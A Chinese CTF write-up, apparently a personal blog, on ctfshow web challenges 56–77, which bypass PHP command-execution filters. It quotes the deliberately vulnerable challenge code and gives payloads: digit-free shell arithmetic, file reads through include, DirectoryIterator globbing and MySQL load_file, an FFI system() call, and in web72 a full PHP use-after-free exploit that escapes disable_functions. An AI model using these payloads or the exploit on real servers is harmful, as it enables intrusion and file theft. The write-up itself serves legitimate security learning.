其中#!/bin/bash cat flag.php 是上传的文件的内容,这样就可以得到flag了。

这姿势是真滴骚啊,同样的,对于过滤字母的题目还有异或,取反等方法,需要后续练习

web56

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

在上一道的基础上过滤了数字,那么base64的方法就不能用了,只能用第二种

web57

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

过滤了数字和字母以及一些特殊字符,这个也是真不会,用奇奇怪怪的构造出36,因为flag在36.php里,还是看的firebasky师傅的wpwp,payload:

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

这个payload在linux中echo输出就是36

构造完成。

原理是:
${_}=""
$((${_}))=0
$((~$((${_}))))=-1
然后拼接出-36在进行取反

注意的是:${_}会输出上一次的执行结果

这篇文章很好的给出了一些过滤数字,字母的手段博客

web58

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

post执行命令,eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。先试一试system

system不可以试一试highlight_file()和show_source(),试验后发现都可以

image-20210127215641847

web59

和上一道一模一样,就离谱嗷

web60

还是一样的,嘻嘻

web61

没错,还是一样的

web62

我严重怀疑群主水题

web63

依旧一样,但因为强迫症我还是要一题写一点

web64

不懂就问,这个知识点这么重要的吗

web65

在,看看源码

web66

好耶,一下水了好多flag,哦不对,这一道把show_source()给ban了,用highlight_file()就完了

web67

看似一样,但是

不在这里,想的是用scandir(‘.’)看一下,但没有回显,搜了一下哟啊print_r(scandir(‘.’))才能看到但本题中print_r被ban掉了,用var_dump()来替代看本目录下面的文件(可见web40),但本目录下没有,只有那个假的flag.php,最后看wp是看根目录下的。。。谁能想到是在根目录下呢。

image-20210127230047037

有flag.txt,再用highlight_file(‘/flag.txt’)就可以了

web68

本题开始就可以看到highlight_file()被ban掉了,实验了一下shou_source()也被ban了,先用之前的手段var_dump(scandir(‘.’)),可以看见有index.php和flag.php,看根目录下面。有flag.txt

到这里就卡住了,我自己的想法是用include造成文件包含,然后再用各种协议读取flag.txt,但发现不行,看wp,直接include(‘/flag.txt’)就好了,啊这,回忆一下include的用法

include 语句包含并运行指定文件。,好像这样用完全对的,require也一样

注意到include和highlight_file是不同的,highlight_file是对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。而include是包含并运行指定文件

web69

和上一道一样,只是var_dump也被ban了,只能盲猜,猜了发现和上一道一样,哈哈哈

web70

依旧一样

web71

本题给出了源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?
  • ob_get_contents():返回输出缓冲区的内容

  • ob_end_clean():清空(擦除)缓冲区并关闭输出缓冲

按照之前的会输出一堆问号,因为被preg_replace()过滤掉,用?代替了

我们可以执行php代码让后面的匹配缓冲区不执行直接退出

c=include('/flag.txt');exit(0);

这样就可以了

web72

给出了一样的源码,再试一次上面的payload,不行了,

没有这个了,所以现在的问题是要找出flag放在哪里的,都不用试了,之前的scandir肯定是不能用的,因为var_dump和print_r被过滤了。不会了,看wp,有payload用于在这种过滤的情况下看目录下文件

c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
  • DirectoryIterator:The DirectoryIterator class provides a simple interface for viewing the contents of filesystem directories.这个类的作用是提供了查看文件目录下文件的接口,简单来说就是为遍历目录提供了方便的类,外部调用DirectoryIterator时,传入一个目录路径字符串,实例化DirectoryIterator类。再用foreach或者while遍历目录

  • glob:// — 查找匹配的文件路径模式

<?php
// 循环 ext/spl/examples/ 目录里所有 *.php 文件
// 并打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
    printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>

这是一个例子,这了的glob:///*的意思是循环根目录下的所有文件,

  • foreach:提供了遍历数组的简单方式。foreach仅能够应用于数组和对象,如果尝试应用于其他数据类型的变量,或者未初始化的变量将发出错误信息。
foreach (iterable_expression as $value)
    statement
这种格式遍历给定的 iterable_expression 迭代器。每次循环中,当前单元的值被赋给 $value。
也就是这道题的格式了

执行payload后可以看到flag0.txt

尝试include,

失败,不会了,给出大佬们的exp

c=function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);

                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);

                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦

这会个锤子,给了我也没整出来,暂时放一下

web73

可以用上一道的方法找到在根目录下的flagc.txt,再include就行了

web74

也是一样

web75

c=try
{
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');
    foreach($dbh->query('select load_file("/flag36.txt")') as $row)
        {echo($row[0])."|"; }$dbh = null;
}catch (PDOException $e) 
{echo $e->getMessage();exit(0);}
exit(0);

只会看flag在哪,在根目录flag36.txt,但include失败,不会了,上面是payload,似乎是用到了数据库。。。真不会

web76

和上一道一样

web77

先用上面一样的方法找到在根目录下,下面是payload

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

大概到此,确实是实力不够命令执行就先到这里了,还是学到了很多的知识,还需要加油啊。

2020.1.29


文章作者: 0xahh
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 0xahh !
评论
  目录